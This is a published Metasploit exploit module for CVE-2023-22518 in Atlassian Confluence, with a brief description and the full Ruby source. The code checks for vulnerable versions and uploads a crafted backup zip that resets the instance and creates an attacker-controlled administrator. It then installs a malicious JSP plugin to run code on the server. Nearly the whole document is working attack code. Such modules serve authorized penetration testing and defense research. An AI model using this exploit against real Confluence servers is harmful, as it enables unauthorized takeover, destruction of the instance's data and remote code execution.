Authored by Atlassian, jheysel-r7 | Site metasploit.com

This improper authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to the Confluence instance administrator. This Metasploit module uses the administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code execution on the target in the context of the of the user running the confluence server.

advisories | CVE-2023-22518

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',
'Description' => %q{
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
Confluence instance administrator account. Using this account, an attacker can then perform all
administrative actions that are available to Confluence instance administrator. This module uses the
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
execution on the target in the context of the of the user running the confluence server.
},
'Author' => [
'Atlassian', # Discovery
'jheysel-r7' # msf module
],
'References' => [
[ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],
[ 'CVE', '2023-22518']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Java',
{
'Platform' => 'java',
'Arch' => [ARCH_JAVA]
},
]
],
'DisclosureDate' => '2023-10-31',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
Opt::RPORT(8090),
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
# The endpoint we target to trigger the vulnerability.
OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
]
)
end

def check
confluence_version = get_confluence_version
return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version

# Confluence Server and Confluence Data Center have the same vulnerable version ranges.
if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||
confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||
confluence_version == Rex::Version.new('8.6.0')
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
end

Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
end

# https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html
def generate_hash(password)
salt = OpenSSL::Random.random_bytes(16)
iterations = 10000
digest = OpenSSL::Digest.new('SHA1')

key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)
salted_key = salt + key
encoded_hash = Base64.strict_encode64(salted_key)

'{PKCS5S2}' + encoded_hash
end

def create_zip
zip_file = Rex::Zip::Archive.new

# exportDescriptor.properties needs to be present in the zip file in order for it to be valid.
export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))
zip_file.add_file('exportDescriptor.properties', export_descriptor)

entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))
entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)
entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])
entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))

zip_file.add_file('entities.xml', entities_xml)
zip_file.pack
end

def upload_backup
zip_file = create_zip
post_data = Rex::MIME::Message.new
post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')
post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')
post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name="file"; filename="#{rand_text_alphanumeric(8..16)}"")

data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'keep_cookies' => true,
'headers' => {
'X-Atlassian-Token' => 'no-check'
},
'vars_get' => {
'synchronous' => 'true'
}
}, 120)

fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200
print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")
end

def exploit
print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")

# Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password
upload_backup

# Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.
payload_endpoint = rand_text_alphanumeric(8)
plugin_key = rand_text_alpha(8)
begin
payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)
upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
trigger_payload_plugin(payload_endpoint)
ensure
delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])
end
end
end